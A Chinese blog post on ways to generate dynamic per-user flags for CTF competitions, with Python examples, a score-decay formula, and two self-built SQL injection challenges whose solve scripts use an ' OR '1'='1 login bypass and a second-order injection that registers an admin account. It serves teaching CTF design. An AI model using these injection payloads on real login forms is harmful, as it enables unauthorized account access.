CTF-dynamic flag的几种实现方式

admin 2024年6月23日23:50:39评论3 views字数 15133阅读50分26秒阅读模式

0.叠甲

CTF-dynamic flag的几种实现方式

省流版:本篇文章主题是动态flag的生成及验证,为了验证自己的想法,出了两道SQL注入的题目,并在里面加入了随机生成flag的实现方法,所以题目本身并没有什么技术含量。我设想的是这两道题集成了初始分值1000分,选手在提交flag时,若多次提交分值就会下降,分值下降公式参考GZ:CTF。

  • 为原始分值
  • 为最低分值比例
  • 为难度系数
  • 为提交次数。

具体效果如图所示:

CTF-dynamic flag的几种实现方式

1.背景

CTF(Capture The Flag)顾名思义就是通过各种手段夺取flag啦。参赛者通过解决一系列信息安全挑战,获取比赛中设置的“flag”,以此获得积分。CTF比赛通常分为两种类型:攻击防御型和解题型。攻击防御型比赛中,参赛者不仅需要保护自己的系统免受攻击,还需要尝试攻破其他参赛者的系统。解题型比赛则主要考察参赛者解决特定安全问题的能力,如逆向工程、漏洞利用、密码学、取证分析等。

1.1.什么是flag?

在CTF比赛中,flag通常是一个特定格式的字符串,例如flag{example_flag}。它代表着参赛者已经成功解决了某个挑战。获取flag并提交到比赛平台后,参赛者就可以获得相应的积分。

1.2为什么需要动态flag?

传统的静态flag在某些情况下可能会被共享或泄露,导致比赛的公平性受到影响。动态flag是为了解决这个问题而提出的,它通过各种方法生成每个用户独特的flag,确保每次挑战中获取的flag都是不同的。

2.方法

动态flag的生成方法 动态flag的生成方法多种多样,常见的包括基于用户输入生成flag、基于时间生成flag、基于挑战内容生成flag以及基于系统生成的随机数生成flag。每种方法都有其独特的实现机制和适用场景,具体选择哪种方法可以根据比赛的需求和设计来决定。

2.1.基于用户输入生成动态flag:

根据每个用户的唯一输入(如用户名或IP地址)生成独特的flag,确保不同用户获得的flag不同。

  • 接收用户输入:获取用户的唯一标识,如用户名或IP地址。

  • 生成flag:使用用户输入与预定义的密钥或算法结合,生成唯一的flag。

  • 返回flag:将生成的flag返回给用户,并在数据库中记录用户与其flag的对应关系。

import hashlib
user_data = {}
def generate_flag(username):
    secret_key = "secret_key"
    unique_string = username + secret_key
    flag = hashlib.sha256(unique_string.encode()).hexdigest()
    if username not in user_data:
        user_data[username] = {'count': 0, 'flag'''}
    user_data[username]['count'] += 1
    user_data[username]['flag'] = flag    
    return f"flag{{{flag}}}", user_data[username]['count']
username = "user123"
for _ in range(5):
    flag, count = generate_flag(username)
    print(f"提交次数: {count}, 生成的flag: {flag}")

这段代码输出的flag都是一样的,原因是用户输入的参数相同,若参数不同,flag也不同
提交次数: 1, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 2, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 3, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 4, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
提交次数: 5, 生成的flag: flag{b43c1139fc1c1b7521025d408a580521dcfd1c13fe43dadaf87deb89dff3f152}
CTF-dynamic flag的几种实现方式

2.2.基于时间生成动态flag:

利用当前时间生成flag,使得同一用户在不同时间获取的flag也是不同的。

  • 获取当前时间:获取系统的当前时间,可以精确到秒。

  • 生成flag:将当前时间与预定义的密钥或算法结合,生成唯一的flag。

  • 返回flag:将生成的flag返回给用户,并在数据库中记录时间与flag的对应关系。

import hashlib
import time
user_data = {}
def generate_time_based_flag(username):
    current_time = str(int(time.time()))
    secret_key = "secret_key"
    unique_string = current_time + secret_key
    flag = hashlib.sha256(unique_string.encode()).hexdigest()    
    # 记录提交次数
    if username not in user_data:
        user_data[username] = {'count': 0, 'flag'''}
    user_data[username]['count'] += 1
    user_data[username]['flag'] = flag    
    return f"flag{{{flag}}}", user_data[username]['count']
username = "user123"
for _ in range(5):
    time.sleep(1)  # 等待1秒以确保时间不同
    flag, count = generate_time_based_flag(username)
    print(f"提交次数: {count}, 生成的flag: {flag}")
提交次数: 1, 生成的flag: flag{8b623697b3c2896101f8481f8a05353c1ecba8c3df999fe92e5f32ae7286d66d}
提交次数: 2, 生成的flag: flag{d4d361657ba593e1ee84d80c60c489cc393b12e465a443bbc49ca7721a1d053e}
提交次数: 3, 生成的flag: flag{edd2ac45000676a86b75f0ed4a8d1ca101c9f01ea7bb2712179150c81dcc38e2}
提交次数: 4, 生成的flag: flag{6c153aafc8fa5ce9ab8c97322db6be0bb7afb2c585370bd0723cbcc634bf8f9f}
提交次数: 5, 生成的flag: flag{9b2b3551aaab360c3063bf6da3227211678fa1cded64e15d626c418680f46a27}
CTF-dynamic flag的几种实现方式

2.3.基于挑战内容生成动态flag:

根据用户在挑战中的操作或提交的答案生成flag,确保只有成功解决挑战的用户才能获取flag。

  • 接收用户提交的答案:获取用户在挑战中的解答或操作结果。

  • 验证答案:判断用户提交的答案是否正确。

  • 生成flag:根据用户的解答生成唯一的flag。

  • 返回flag:将生成的flag返回给用户,并在数据库中记录答案与flag的对应关系。

import hashlib
user_data = {}
def validate_and_generate_flag(username, user_answer):
    correct_answer = "correct_answer"
    if user_answer == correct_answer:
        flag = hashlib.sha256(user_answer.encode()).hexdigest()        
        # 记录提交次数
        if username not in user_data:
            user_data[username] = {'count': 0, 'flag'''}
        user_data[username]['count'] += 1
        user_data[username]['flag'] = flag     
        return f"flag{{{flag}}}", user_data[username]['count']
    else:
        return "Incorrect answer.", user_data.get(username, {'count': 0})['count']
username = "user123"
user_answer = "correct_answer"
for _ in range(5):
    flag, count = validate_and_generate_flag(username, user_answer)
    print(f"提交次数: {count}, 生成的flag: {flag}")
这段代码输出的flag都是一样的,原因是输入的参数相同,若参数不同,flag也不同
提交次数: 1, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 2, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 3, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 4, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}
提交次数: 5, 生成的flag: flag{03652607771c58673a9c334b4965c1ffd0892632b0519ebbc33cbd176748f590}

2.4.基于系统生成的随机数生成动态flag:

每次请求时生成一个随机数,并将其作为flag的一部分,确保每次生成的flag都是唯一且不可预测的。

  • 生成随机数:使用系统的随机数生成器生成一个随机数。

  • 生成flag:将随机数与预定义的密钥或算法结合,生成唯一的flag。

  • 返回flag:将生成的flag返回给用户,并在数据库中记录随机数与flag的对应关系。

import hashlib
import os
user_data = {}
def generate_random_flag(username):
    random_number = os.urandom(16)
    secret_key = "secret_key"
    unique_string = random_number.hex() + secret_key
    flag = hashlib.sha256(unique_string.encode()).hexdigest()
    if username not in user_data:
        user_data[username] = {'count': 0, 'flag'''}
    user_data[username]['count'] += 1
    user_data[username]['flag'] = flag    
    return f"flag{{{flag}}}", user_data[username]['count']
username = "user123"
for _ in range(5):
    flag, count = generate_random_flag(username)
    print(f"提交次数: {count}, 生成的flag: {flag}")
提交次数: 1, 生成的flag: flag{f1f292de54a1aeef4aceafcbf7da2ed8a44841d559c836cefba0b7f3e09de034}
提交次数: 2, 生成的flag: flag{ceff3c7d7b3177614408333924c4f9789bd46697417dafe1d4d171564d7d94f2}
提交次数: 3, 生成的flag: flag{d2f0186fef2c1a137189ae2540a872212aa5968b6dd64e921795986c7bedd960}
提交次数: 4, 生成的flag: flag{9447670e39056c13ff3743c13236858f0370646ff565eb42bd35f0538471eef5}
提交次数: 5, 生成的flag: flag{2b941d4d5cc228ac549670e2ff67c7ef4c724901ea16abe70f5f80435c76b982}
CTF-dynamic flag的几种实现方式

3.举例

本章节总共2道题目,都是SQL注入漏洞,采用docker部署,flag生成主要是借助用户提交时间戳和漏洞利用成功后的flag.txt里的内容叠加进行sha256,同时加入了ip检测。

3.1.报错注入

本题文件目录树如下:

solve.py为解题代码,为了方便解题放在这个目录下了,实际比赛solve.py需要选手自写
(base) hx@orz:~/ctf/ctf-sql-injection$ tree
.
├── app
│   ├── app.py
│   ├── flag.txt
│   └── requirements.txt
├── app.py
├── ctf.db
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── instance
│   └── ctf.db
├── requirements.txt
└── solve.py

题目运行之后的效果

CTF-dynamic flag的几种实现方式

服务器根据当前时间和预定义的内容生成一个动态flag:

def generate_flag():
    timestamp = str(int(time.time()))
    with open('flag.txt''r') as file:
        flag_content = file.read().strip()
    flag = f"flag{{{hashlib.sha256((timestamp + flag_content).encode()).hexdigest()}}}"
    return flag

该方法保证每次生成的flag都是唯一的,防止简单的复制和共享。

分值计算:

分值根据一个公式进行计算,公式为:

def calculate_score(S, r, d, x):
    return math.floor(S * (r + (1 - r) * math.exp((1 - x) / d)))

是初始分值,是最低分值比例,是难度系数,是当前IP的登录尝试次数。

随着尝试次数的增加,分值会逐渐下降,确保早期成功登录的参赛者获得更高的分值。

//solve.py
import requests
url = 'http://localhost:1921/login'
payload = {
    'username'"' OR '1'='1",
    'password'"' OR '1'='1"
}
response = requests.post(url, data=payload)
if response.status_code == 200:
    data = response.json()
    if data['success']:
        print(f"Flag: {data['flag']}")
        print(f"Score: {data['score']}")
    else:
        print("Login failed.")
else:
    print(f"Request failed with status code {response.status_code}")
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py 
Flag: flag{b243a102f9aee79d98e3c3480d5593feaba53a30afa9e8f0e32f608797431d35}
Score: 1000
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py 
Flag: flag{187ecb857e10697e5a18208ad2afd96a58b9e65ec70a7964c728186b3cb2ea66}
Score: 914
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py 
Flag: flag{9081fb176a12bb8e44895c121746fbe8ea3aabe7f0c4643a75224e4944429f93}
Score: 836
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py 
Flag: flag{e6ac5bf3269183b7c349687145d4c043493cd6f654a280cb92b6d5699c934ef4}
Score: 766
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py 
Flag: flag{88206e31306296103c17300344d3b0b8dd3459653c1e057a51921abefce799b7}
Score: 703
(base) hx@orz:~/ctf/ctf-sql-injection$ python solve.py 
Flag: flag{3128ec3528006e637ccda394cc0e1a4977e434f6b1ed9de51303af360a9ac7db}
Score: 645

CTF-dynamic flag的几种实现方式PS:从解题代码就能看出来题目确实没什么难度

3.2.二次注入

本题目文件目录树如下:

solve.py为解题代码,为了方便解题放在这个目录下了,实际比赛solve.py需要选手自写
(ctf) hx@orz:~/ctf/ctf-sql-injection-advanced$ tree
.
├── app.py
├── Dockerfile
├── flag.txt
├── requirements.txt
└── solve.py

题目运行之后的效果

CTF-dynamic flag的几种实现方式

flag生成的方式和3.1一样

import requests
register_url = 'http://10.211.55.105:1949/register'
login_url = 'http://10.211.55.105:1949/login'
register_payload = {
    'username'"admin', 'admin123', 'admin')--",
    'password'"any_password"
}
register_response = requests.post(register_url, data=register_payload)

if register_response.status_code == 200 and register_response.json().get('success'):
    print("Successfully registered an admin account.")
else:
    print("Failed to register an admin account.")
    print(register_response.json())
    exit()
login_payload = {
    'username''admin',
    'password''admin123'
}

login_response = requests.post(login_url, data=login_payload)
if login_response.status_code == 200:
    data = login_response.json()
    if data['success']:
        if 'flag' in data:
            print(f"Flag: {data['flag']}")
        if 'score' in data:
            print(f"Score: {data['score']}")
    else:
        print(data['message'])
else:
    print(f"Request failed with status code {login_response.status_code}")
//solve.py
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py 
Successfully registered an admin account.
Flag: flag{ddc841f273c66dae31311b47d7205cd5ead4ccdf3aa5a52375d5b1ba2acd8fe8}
Score: 914
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py 
Successfully registered an admin account.
Flag: flag{6e8ecc1fecde52fde1489089e7a0e48e46da17b02dfe7c0e0ebd33fa0cd1214f}
Score: 836
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py 
Successfully registered an admin account.
Flag: flag{86b5058f6c85c48d1171b7f996953add0f77d4d629e863a676a65e651f6232d4}
Score: 766
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py 
Successfully registered an admin account.
Flag: flag{651413dbe9983e1b1fb348ef14518f5f4084c2a8c3dec580b88b01638d10833e}
Score: 703
(base) hx@orz:~/ctf/ctf-sql-injection-advanced$ python solve.py 
Successfully registered an admin account.
Flag: flag{7af71f6ae9bee779a5db0e24d4eb7859244ee07581e5a51afa516b726705c8ac}
Score: 645
CTF-dynamic flag的几种实现方式

4.超级无极加强版生成flag方式

  • 获取公共IP地址

使用requests库向https://api.ipify.org发送GET请求,获取提交者的公共IP地址。

  • 获取地理位置信息

使用requests库向https://ipinfo.io/{ip_address}/json发送GET请求,根据IP地址获取提交者的地理位置信息。 返回的地理位置信息包括城市、地区和国家等。

  • 获取系统信息

使用platform库获取操作系统名称和版本信息。

  • 获取MAC地址

使用uuid库获取设备的MAC地址。

  • 获取主机名

使用platform库获取设备的主机名。

  • 获取CPU信息

使用platform库和psutil库获取CPU型号和核心数量。

  • 获取内存信息

使用psutil库获取设备的内存容量。

  • 获取磁盘信息

使用psutil库获取设备的磁盘容量和使用情况。

  • 获取网络接口信息

使用psutil库获取设备的网络接口信息。

  • 获取系统启动时间

使用psutil库获取设备的系统启动时间。

  • 获取系统语言

使用locale库获取设备的系统语言设置。

  • 生成会话ID

使用uuid库生成一个唯一的会话ID。

将用户名、IP地址、地理信息、系统信息、MAC地址、主机名、CPU信息、内存信息、磁盘信息、网络接口信息、系统启动时间、系统语言和预定义的密钥组合,形成一个唯一的字符串。 使用SHA-256哈希算法对该字符串进行哈希计算,生成一个固定长度的哈希值,作为最终的flag。

主函数main调用上述步骤,依次获取公共IP地址、地理位置信息、系统信息、MAC地址、主机名、CPU信息、内存信息、磁盘信息、网络接口信息、系统启动时间、系统语言和会话ID,并生成和打印flag。

import hashlib
import requests
import platform
import uuid
import psutil
import locale
def get_public_ip():
    response = requests.get("https://api.ipify.org")
    return response.text
def get_geo_info(ip_address):
    response = requests.get(f"https://ipinfo.io/{ip_address}/json")
    return response.json()
def get_system_info():
    system_info = platform.system() + " " + platform.release()
    return system_info
def get_mac_address():
    mac_address = ':'.join(['{:02x}'.format((uuid.getnode() >> elements) & 0xff) for elements in range(0,2*6,2)][::-1])
    return mac_address
def get_hostname():
    hostname = platform.node()
    return hostname
def get_cpu_info():
    cpu_info = f"{platform.processor()} {psutil.cpu_count(logical=True)}"
    return cpu_info
def get_memory_info():
    memory = psutil.virtual_memory()
    memory_info = f"{memory.total / (1024**3):.2f} GB"
    return memory_info
def get_disk_info():
    disk = psutil.disk_usage('/')
    disk_info = f"Total: {disk.total / (1024**3):.2f} GB, Used: {disk.used / (1024**3):.2f} GB"
    return disk_info
def get_network_info():
    net_info = psutil.net_if_addrs()
    return str(net_info)
def get_boot_time():
    boot_time = psutil.boot_time()
    return str(boot_time)
def get_locale_info():
    locale_info = locale.getdefaultlocale()
    return str(locale_info)
def generate_session_id():
    session_id = uuid.uuid4().hex
    return session_id
def generate_env_based_flag(username, ip_address, geo_info, system_info, mac_address, hostname, cpu_info, memory_info, disk_info, network_info, boot_time, locale_info, session_id):
    secret_key = "secret_key"
    env_info = username + ip_address + geo_info['city'] + geo_info['region'] + geo_info['country'] + system_info + mac_address + hostname + cpu_info + memory_info + disk_info + network_info + boot_time + locale_info + session_id + secret_key
    flag = hashlib.sha256(env_info.encode()).hexdigest()
    return f"flag{{{flag}}}"
def main():
    username = "user123"
    ip_address = get_public_ip()
    geo_info = get_geo_info(ip_address)
    system_info = get_system_info()
    mac_address = get_mac_address()
    hostname = get_hostname()
    cpu_info = get_cpu_info()
    memory_info = get_memory_info()
    disk_info = get_disk_info()
    network_info = get_network_info()
    boot_time = get_boot_time()
    locale_info = get_locale_info()
    session_id = generate_session_id()
    print(f"IP地址: {ip_address}")
    print(f"地理信息: {geo_info}")
    print(f"系统信息: {system_info}")
    print(f"MAC地址: {mac_address}")
    print(f"主机名: {hostname}")
    print(f"CPU信息: {cpu_info}")
    print(f"内存信息: {memory_info}")
    print(f"磁盘信息: {disk_info}")
    print(f"网络信息: {network_info}")
    print(f"启动时间: {boot_time}")
    print(f"系统语言: {locale_info}")
    print(f"会话ID: {session_id}")
    flag = generate_env_based_flag(username, ip_address, geo_info, system_info, mac_address, hostname, cpu_info, memory_info, disk_info, network_info, boot_time, locale_info, session_id)
    print(f"生成的flag: {flag}")
if __name__ == "__main__":
    main()
IP地址: 34.91.107.114
地理信息: {'ip''34.91.107.114''hostname''114.107.91.34.bc.googleusercontent.com''city''Groningen''region''Groningen''country''NL''loc''53.2192,6.5667''org''AS396982 Google LLC''postal''9711''timezone''Europe/Amsterdam''readme''https://ipinfo.io/missingauth'}
系统信息: Linux 5.15.133+
MAC地址: c0:02:08:20:80:02
主机名: 2b322b1bf7d4
CPU信息: x86_64 4
内存信息: 31.36 GB
磁盘信息: Total: 8062.39 GB, Used: 5689.32 GB
网络信息: {'lo': [snicaddr(family=<AddressFamily.AF_INET: 2>, address='127.0.0.1', netmask='255.0.0.0', broadcast=None, ptp=None), snicaddr(family=<AddressFamily.AF_PACKET: 17>, address='00:00:00:00:00:00', netmask=None, broadcast=None, ptp=None)], 'eth0': [snicaddr(family=<AddressFamily.AF_INET: 2>, address='172.19.2.2', netmask='255.255.255.0', broadcast='172.19.2.255', ptp=None), snicaddr(family=<AddressFamily.AF_PACKET: 17>, address='02:42:ac:13:02:02', netmask=None, broadcast='ff:ff:ff:ff:ff:ff', ptp=None)]}
启动时间: 1718977602.0
系统语言: (None, None)
会话ID: 5f3775169a154ba68581a7aeca7d8ddc
生成的flag: flag{9b831d312bf2aa7ab576f7f95efad15c2b2889e079444830d9096b45ff9c473c}
CTF-dynamic flag的几种实现方式

5.总结

这篇文章涉及的安全技术细节不是很多,主要是介绍了动态flag生成的几种方法和代码实现,若有不足和需要改善之处请读者留言友好交流。

1.GZCTF https://github.com/GZTimeWalker/GZCTF/


原文始发于微信公众号(攻防SRC):CTF-dynamic flag的几种实现方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月23日23:50:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF-dynamic flag的几种实现方式https://cn-sec.com/archives/2873136.html

发表评论

匿名网友 填写信息